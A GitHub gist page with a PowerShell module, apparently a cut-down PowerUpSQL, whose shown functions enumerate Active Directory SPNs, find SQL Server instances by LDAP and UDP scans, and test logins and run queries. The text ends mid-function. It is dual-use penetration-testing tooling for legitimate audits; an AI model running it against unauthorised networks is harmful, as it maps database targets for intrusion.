Skip to content

Instantly share code, notes, and snippets.

@nullbind

nullbind/MiniPowerUpSQL.psm1

Created October 26, 2020 21:14
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. nullbind created this gist Oct 26, 2020.
    2,621 changes: 2,621 additions & 0 deletions MiniPowerUpSQL.psm1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2621 @@
    function Get-DomainObject
    {
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain user to authenticate with domain\user.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain password to authenticate with domain\user.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
    [string]$DomainController,

    [Parameter(Mandatory = $false,
    HelpMessage = 'LDAP Filter.')]
    [string]$LdapFilter = '',

    [Parameter(Mandatory = $false,
    HelpMessage = 'LDAP path.')]
    [string]$LdapPath,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')]
    [int]$Limit = 1000,

    [Parameter(Mandatory = $false,
    HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')]
    [ValidateSet('Subtree','OneLevel','Base')]
    [string]$SearchScope = 'Subtree'
    )
    Begin
    {
    # Create PS Credential object
    if($Username -and $Password)
    {
    $secpass = ConvertTo-SecureString $Password -AsPlainText -Force
    $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass)
    }

    # Create Create the connection to LDAP
    if ($DomainController)
    {

    # Verify credentials were provided
    if(-not $Username){
    Write-Output "A username and password must be provided when setting a specific domain controller."
    Break
    }

    # Test credentials and grab domain
    try {
    $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname
    }catch{
    Write-Output "Authentication failed."
    }

    # add ldap path
    if($LdapPath)
    {
    $LdapPath = '/'+$LdapPath+','+$objDomain
    $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password
    }
    else
    {
    $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password
    }

    $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
    }
    else
    {
    $objDomain = ([ADSI]'').distinguishedName

    # add ldap path
    if($LdapPath)
    {
    $LdapPath = $LdapPath+','+$objDomain
    $objDomainPath = [ADSI]"LDAP://$LdapPath"
    }
    else
    {
    $objDomainPath = [ADSI]''
    }

    $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
    }

    # Setup LDAP filter
    $objSearcher.PageSize = $Limit
    $objSearcher.Filter = $LdapFilter
    $objSearcher.SearchScope = 'Subtree'
    }

    Process
    {
    try
    {
    # Return object
    $objSearcher.FindAll() | ForEach-Object -Process {
    $_
    }
    }
    catch
    {
    "Error was $_"
    $line = $_.InvocationInfo.ScriptLineNumber
    "Error was in Line $line"
    }
    }

    End
    {
    }
    }

    function Get-DomainSpn
    {
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain user to authenticate with domain\user.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain password to authenticate with domain\user.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
    [string]$DomainController,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Computer name to filter for.')]
    [string]$ComputerName,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Domain account to filter for.')]
    [string]$DomainAccount,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SPN service code.')]
    [string]$SpnService,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message 'Getting domain SPNs...'
    }

    # Setup table to store results
    $TableDomainSpn = New-Object -TypeName System.Data.DataTable
    $null = $TableDomainSpn.Columns.Add('UserSid')
    $null = $TableDomainSpn.Columns.Add('User')
    $null = $TableDomainSpn.Columns.Add('UserCn')
    $null = $TableDomainSpn.Columns.Add('Service')
    $null = $TableDomainSpn.Columns.Add('ComputerName')
    $null = $TableDomainSpn.Columns.Add('Spn')
    $null = $TableDomainSpn.Columns.Add('LastLogon')
    $null = $TableDomainSpn.Columns.Add('Description')
    $TableDomainSpn.Clear()
    }

    Process
    {

    try
    {
    # Setup LDAP filter
    $SpnFilter = ''

    if($DomainAccount)
    {
    $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)"
    }

    if($ComputerName)
    {
    $ComputerSearch = "$ComputerName`$"
    $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)"
    }

    # Get results
    $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential

    # Parse results
    $SpnResults | ForEach-Object -Process {
    [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ')
    [string]$SidString = $SidBytes -replace ' ', ''
    #$Spn = $_.properties.serviceprincipalname[0].split(',')

    #foreach ($item in $Spn)
    foreach ($item in $($_.properties.serviceprincipalname))
    {
    # Parse SPNs
    $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
    $SpnService = $item.split('/')[0]

    # Parse last logon
    if ($_.properties.lastlogon)
    {
    $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
    }
    else
    {
    $LastLogon = ''
    }

    # Add results to table
    $null = $TableDomainSpn.Rows.Add(
    [string]$SidString,
    [string]$_.properties.samaccountname,
    [string]$_.properties.cn,
    [string]$SpnService,
    [string]$SpnServer,
    [string]$item,
    $LastLogon,
    [string]$_.properties.description
    )
    }
    }
    }
    catch
    {
    "Error was $_"
    $line = $_.InvocationInfo.ScriptLineNumber
    "Error was in Line $line"
    }
    }

    End
    {
    # Check for results
    if ($TableDomainSpn.Rows.Count -gt 0)
    {
    $TableDomainSpnCount = $TableDomainSpn.Rows.Count
    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message "$TableDomainSpnCount SPNs found on servers that matched search criteria."
    }
    Return $TableDomainSpn
    }
    else
    {
    Write-Verbose -Message '0 SPNs found.'
    }
    }
    }

    function Get-SQLInstanceScanUDP
    {
    <#
    .SYNOPSIS
    Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers.
    .PARAMETER ComputerName
    Computer name or IP address to enumerate SQL Instance from.
    .PARAMETER UDPTimeOut
    Timeout in seconds. Longer timeout = more accurate.
    .EXAMPLE
    PS C:\> Get-SQLInstanceScanUDP -Verbose -ComputerName SQLServer1.domain.com
    VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
    VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
    ComputerName : SQLServer1.domain.com
    Instance : SQLServer1.domain.com\Express
    InstanceName : Express
    ServerIP : 10.10.10.30
    TCPPort : 51663
    BaseVersion : 11.0.2100.60
    IsClustered : No
    ComputerName : SQLServer1.domain.com
    Instance : SQLServer1.domain.com\Standard
    InstanceName : Standard
    ServerIP : 10.10.10.30
    TCPPort : 51861
    BaseVersion : 11.0.2100.60
    IsClustered : No
    .EXAMPLE
    PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose
    VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
    VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
    ComputerName : SQLServer1.domain.com
    Instance : SQLServer1.domain.com\Express
    InstanceName : Express
    ServerIP : 10.10.10.30
    TCPPort : 51663
    BaseVersion : 11.0.2100.60
    IsClustered : No
    ComputerName : SQLServer1.domain.com
    Instance : SQLServer1.domain.com\Standard
    InstanceName : Standard
    ServerIP : 10.10.10.30
    TCPPort : 51861
    BaseVersion : 11.0.2100.60
    IsClustered : No
    [TRUNCATED]
    #>
    [CmdletBinding()]
    param(

    [Parameter(Mandatory = $true,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')]
    [string]$ComputerName,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')]
    [int]$UDPTimeOut = 2,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Setup data table for results
    $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table'
    $null = $TableResults.columns.add('ComputerName')
    $null = $TableResults.columns.add('Instance')
    $null = $TableResults.columns.add('InstanceName')
    $null = $TableResults.columns.add('ServerIP')
    $null = $TableResults.columns.add('TCPPort')
    $null = $TableResults.columns.add('BaseVersion')
    $null = $TableResults.columns.add('IsClustered')
    }

    Process
    {
    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message " - $ComputerName - UDP Scan Start."
    }

    # Verify server name isn't empty
    if ($ComputerName -ne '')
    {
    # Try to enumerate SQL Server instances from remote system
    try
    {
    # Resolve IP
    $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName)

    # Create UDP client object
    $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient

    # Attempt to connect to system
    $UDPTimeOutMilsec = $UDPTimeOut * 1000
    $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec
    $UDPClient.Connect($ComputerName,0x59a)
    $UDPPacket = 0x03

    # Send request to system
    $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0)
    $UDPClient.Client.Blocking = $true
    [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length)

    # Process response from system
    $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint)
    $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';')

    $values = @{}

    for($i = 0; $i -le $Response.length; $i++)
    {
    if(![string]::IsNullOrEmpty($Response[$i]))
    {
    $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1])
    }
    else
    {
    if(![string]::IsNullOrEmpty($values.'tcp'))
    {
    if(-not $SuppressVerbose)
    {
    $DiscoveredInstance = "$ComputerName\"+$values.'instancename'
    Write-Verbose -Message "$ComputerName - Found: $DiscoveredInstance"
    }

    # Add SQL Server instance info to results table
    $null = $TableResults.rows.Add(
    [string]$ComputerName,
    [string]"$ComputerName\"+$values.'instancename',
    [string]$values.'instancename',
    [string]$IPAddress,
    [string]$values.'tcp',
    [string]$values.'version',
    [string]$values.'isclustered')
    $values = @{}
    }
    }
    }

    # Close connection
    $UDPClient.Close()
    }
    catch
    {
    #"Error was $_"
    #$line = $_.InvocationInfo.ScriptLineNumber
    #"Error was in Line $line"

    # Close connection
    # $UDPClient.Close()
    }
    }
    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message " - $ComputerName - UDP Scan Complete."
    }
    }

    End
    {
    # Return Results
    $TableResults
    }
    }

    Function Get-SQLInstanceDomain
    {
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain user to authenticate with domain\user.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain password to authenticate with domain\user.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
    [string]$DomainController,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Computer name to filter for.')]
    [string]$ComputerName,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Domain account to filter for.')]
    [string]$DomainAccount,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')]
    [switch]$CheckMgmt,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Preforms a DNS lookup on the instance.')]
    [switch]$IncludeIP,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')]
    [int]$UDPTimeOut = 3
    )

    Begin
    {
    # Table for SPN output
    $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable
    $null = $TblSQLServerSpns.Columns.Add('ComputerName')
    $null = $TblSQLServerSpns.Columns.Add('Instance')
    $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid')
    $null = $TblSQLServerSpns.Columns.Add('DomainAccount')
    $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn')
    $null = $TblSQLServerSpns.Columns.Add('Service')
    $null = $TblSQLServerSpns.Columns.Add('Spn')
    $null = $TblSQLServerSpns.Columns.Add('LastLogon')
    $null = $TblSQLServerSpns.Columns.Add('Description')

    if($IncludeIP)
    {
    $null = $TblSQLServerSpns.Columns.Add('IPAddress')
    }
    # Table for UDP scan results of management servers
    }

    Process
    {
    # Get list of SPNs for SQL Servers
    Write-Verbose -Message 'Grabbing SPNs from the domain for SQL Servers (MSSQL*)...'
    $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | Where-Object -FilterScript {
    $_.service -like 'MSSQL*'
    }

    Write-Verbose -Message 'Parsing SQL Server instances from SPNs...'

    # Add column containing sql server instance
    $TblSQLServers |
    ForEach-Object -Process {
    # Parse SQL Server instance
    $Spn = $_.Spn
    $Instance = $Spn.split('/')[1].split(':')[1]

    # Check if the instance is a number and use the relevent delim
    $Value = 0
    if([int32]::TryParse($Instance,[ref]$Value))
    {
    $SpnServerInstance = $Spn -replace ':', ','
    }
    else
    {
    $SpnServerInstance = $Spn -replace ':', '\'
    }

    $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', ''

    $TableRow = @([string]$_.ComputerName,
    [string]$SpnServerInstance,
    $_.UserSid,
    [string]$_.User,
    [string]$_.Usercn,
    [string]$_.Service,
    [string]$_.Spn,
    $_.LastLogon,
    [string]$_.Description)

    if($IncludeIP)
    {
    try
    {
    $IPAddress = [Net.DNS]::GetHostAddresses([String]$_.ComputerName).IPAddressToString
    if($IPAddress -is [Object[]])
    {
    $IPAddress = $IPAddress -join ", "
    }
    }
    catch
    {
    $IPAddress = "0.0.0.0"
    }
    $TableRow += $IPAddress
    }

    # Add SQL Server spn to table
    $null = $TblSQLServerSpns.Rows.Add($TableRow)
    }

    # Enumerate SQL Server instances from management servers
    if($CheckMgmt)
    {
    Write-Verbose -Message 'Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...'
    $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose |
    Where-Object -FilterScript {
    $_.ComputerName -like '*.*'
    } |
    Select-Object -Property ComputerName -Unique |
    Sort-Object -Property ComputerName

    Write-Verbose -Message 'Performing a UDP scan of management servers to obtain managed SQL Server instances...'
    $TblMgmtSQLServers = $TblMgmtServers |
    Select-Object -Property ComputerName -Unique |
    Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut
    }
    }

    End
    {
    # Return data
    if($CheckMgmt)
    {
    Write-Verbose -Message 'Parsing SQL Server instances from the UDP scan...'
    $Tbl1 = $TblMgmtSQLServers |
    Select-Object -Property ComputerName, Instance |
    Sort-Object -Property ComputerName, Instance
    $Tbl2 = $TblSQLServerSpns |
    Select-Object -Property ComputerName, Instance |
    Sort-Object -Property ComputerName, Instance
    $Tbl3 = $Tbl1 + $Tbl2

    $InstanceCount = $Tbl3.rows.count
    Write-Verbose -Message "$InstanceCount instances were found."
    $Tbl3
    }
    else
    {
    $InstanceCount = $TblSQLServerSpns.rows.count
    Write-Verbose -Message "$InstanceCount instances were found."
    $TblSQLServerSpns
    }
    }
    }

    Function Get-SQLConnectionObject
    {
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Dedicated Administrator Connection (DAC).')]
    [Switch]$DAC,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Default database to connect to.')]
    [String]$Database,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Change appname.')]
    [string]$AppName = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Change workstation name.')]
    [string]$WorkstationId = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Use an encrypted connection.')]
    [ValidateSet("Yes","No","")]
    [string]$Encrypt = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Trust the certificate of the remote server.')]
    [ValidateSet("Yes","No","")]
    [string]$TrustServerCert = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Connection timeout.')]
    [string]$TimeOut = 1
    )

    Begin
    {
    if($DAC)
    {
    $DacConn = 'ADMIN:'
    }
    else
    {
    $DacConn = ''
    }

    if(-not $Database)
    {
    $Database = 'Master'
    }

    if($AppName){
    $AppNameString = ";Application Name=`"$AppName`""
    }else{
    $AppNameString = ""
    }

    if($WorkstationId){
    $WorkstationString = ";Workstation Id=`"$WorkstationId`""
    }else{
    $WorkstationString = ""
    }

    if($Encrypt){
    $EncryptString = ";Encrypt=Yes"
    }else{
    $EncryptString = ""
    }

    if($TrustServerCert){
    $TrustCertString = ";TrustServerCertificate=Yes"
    }else{
    $TrustCertString = ""
    }
    }

    Process
    {
    # Check for instance
    if ( -not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }

    $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection

    if(-not $Username){

    # Set authentication type
    $AuthenticationType = "Current Windows Credentials"

    # Set connection string
    $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString"
    }

    if ($username -like "*\*"){
    $AuthenticationType = "Provided Windows Credentials"

    # Setup connection string
    $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString"
    }

    if (($username) -and ($username -notlike "*\*")){

    # Set authentication type
    $AuthenticationType = "Provided SQL Login"

    # Setup connection string
    $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString"
    }

    return $Connection
    }

    End
    {
    }
    }

    Function Get-SQLQuery
    {
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server query.')]
    [string]$Query,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Connect using Dedicated Admin Connection.')]
    [Switch]$DAC,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Default database to connect to.')]
    [String]$Database,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Connection timeout.')]
    [int]$TimeOut,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Change application name in connection string.')]
    [string]$AppName = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Change hostname in connection string.')]
    [string]$WorkstationId = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Use an encrypted connection.')]
    [ValidateSet("Yes","No","")]
    [string]$Encrypt = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Trust the certificate of the remote server.')]
    [ValidateSet("Yes","No","")]
    [string]$TrustServerCert = "",

    [Parameter(Mandatory = $false,
    HelpMessage = 'Return error message if exists.')]
    [switch]$ReturnError
    )

    Begin
    {
    # Setup up data tables for output
    $TblQueryResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
    # Setup DAC string
    if($DAC)
    {
    # Create connection object
    $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert
    }
    else
    {
    # Create connection object
    $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert
    }

    # Parse SQL Server instance name
    $ConnectionString = $Connection.Connectionstring
    $Instance = $ConnectionString.split(';')[0].split('=')[1]

    # Check for query
    if($Query)
    {
    # Attempt connection
    try
    {
    # Open connection
    $Connection.Open()

    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    }

    # Setup SQL query
    $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)

    # Grab results
    $Results = $Command.ExecuteReader()

    # Load results into data table
    $TblQueryResults.Load($Results)

    # Close connection
    $Connection.Close()

    # Dispose connection
    $Connection.Dispose()
    }
    catch
    {
    # Connection failed - for detail error use Get-SQLConnectionTest
    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Failed."
    }

    if($ReturnError)
    {
    $ErrorMessage = $_.Exception.Message
    #Write-Verbose " Error: $ErrorMessage"
    }
    }
    }
    else
    {
    Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
    Break
    }
    }

    End
    {
    # Return Results
    if($ReturnError)
    {
    $ErrorMessage
    }
    else
    {
    $TblQueryResults
    }
    }
    }

    Function Get-ComputerNameFromInstance
    {
    <#
    .SYNOPSIS
    Parses computer name from a provided instance.
    .PARAMETER Instance
    SQL Server instance to parse.
    .EXAMPLE
    PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014
    SQLServer1
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance.')]
    [string]$Instance
    )

    # Parse ComputerName from provided instance
    If ($Instance)
    {
    $ComputerName = $Instance.split('\')[0].split(',')[0]
    }
    else
    {
    $ComputerName = $env:COMPUTERNAME
    }

    Return $ComputerName
    }

    Function Get-SQLConnectionTest
    {
    <#
    .SYNOPSIS
    Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
    .PARAMETER Username
    SQL Server or domain account to authenticate with.
    .PARAMETER Password
    SQL Server or domain account password to authenticate with.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .PARAMETER DAC
    Connect using Dedicated Admin Connection.
    .PARAMETER Database
    Default database to connect to.
    .PARAMETER TimeOut
    Connection time out.
    .PARAMETER SuppressVerbose
    Suppress verbose errors. Used when function is wrapped.
    .EXAMPLE
    PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
    .EXAMPLE
    PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
    .EXAMPLE
    PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'IP Address of SQL Server.')]
    [string]$IPAddress,

    [Parameter(Mandatory = $false,
    HelpMessage = 'IP Address Range In CIDR Format to Audit.')]
    [string]$IPRange,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Connect using Dedicated Admin Connection.')]
    [Switch]$DAC,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Default database to connect to.')]
    [String]$Database,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Connection timeout.')]
    [string]$TimeOut,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Setup data table for output
    $TblResults = New-Object -TypeName System.Data.DataTable
    $null = $TblResults.Columns.Add('ComputerName')
    $null = $TblResults.Columns.Add('Instance')
    $null = $TblResults.Columns.Add('Status')
    }

    Process
    {
    # Default connection to local default instance
    if(-not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }
    # Split Demarkation Start ^
    # Parse computer name from the instance
    $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

    if($IPRange -and $IPAddress)
    {
    if ($IPAddress.Contains(","))
    {
    $ContainsValid = $false
    foreach ($IP in $IPAddress.Split(","))
    {
    if($(Test-Subnet -cidr $IPRange -ip $IP))
    {
    $ContainsValid = $true
    }
    }
    if (-not $ContainsValid)
    {
    Write-Warning "Skipping $ComputerName ($IPAddress)"
    $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope')
    return
    }
    }

    if(-not $(Test-Subnet -cidr $IPRange -ip $IPAddress))
    {
    Write-Warning "Skipping $ComputerName ($IPAddress)"
    $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope')
    return
    }
    Write-Verbose "$ComputerName ($IPAddress)"
    }

    # Setup DAC string
    if($DAC)
    {
    # Create connection object
    $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
    }
    else
    {
    # Create connection object
    $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
    }

    # Attempt connection
    try
    {
    # Open connection
    $Connection.Open()

    if(-not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    }

    # Add record
    $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')

    # Close connection
    $Connection.Close()

    # Dispose connection
    $Connection.Dispose()
    }
    catch
    {
    # Connection failed
    if(-not $SuppressVerbose)
    {
    $ErrorMessage = $_.Exception.Message
    Write-Verbose -Message "$Instance : Connection Failed."
    Write-Verbose -Message " Error: $ErrorMessage"
    }

    # Add record
    $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
    }
    }

    End
    {
    # Return Results
    $TblResults
    }
    }

    Function Get-SQLSession
    {
    <#
    .SYNOPSIS
    Returns active sessions from target SQL Servers. Sysadmin privileges is required to view all sessions.
    .PARAMETER Username
    SQL Server or domain account to authenticate with.
    .PARAMETER Password
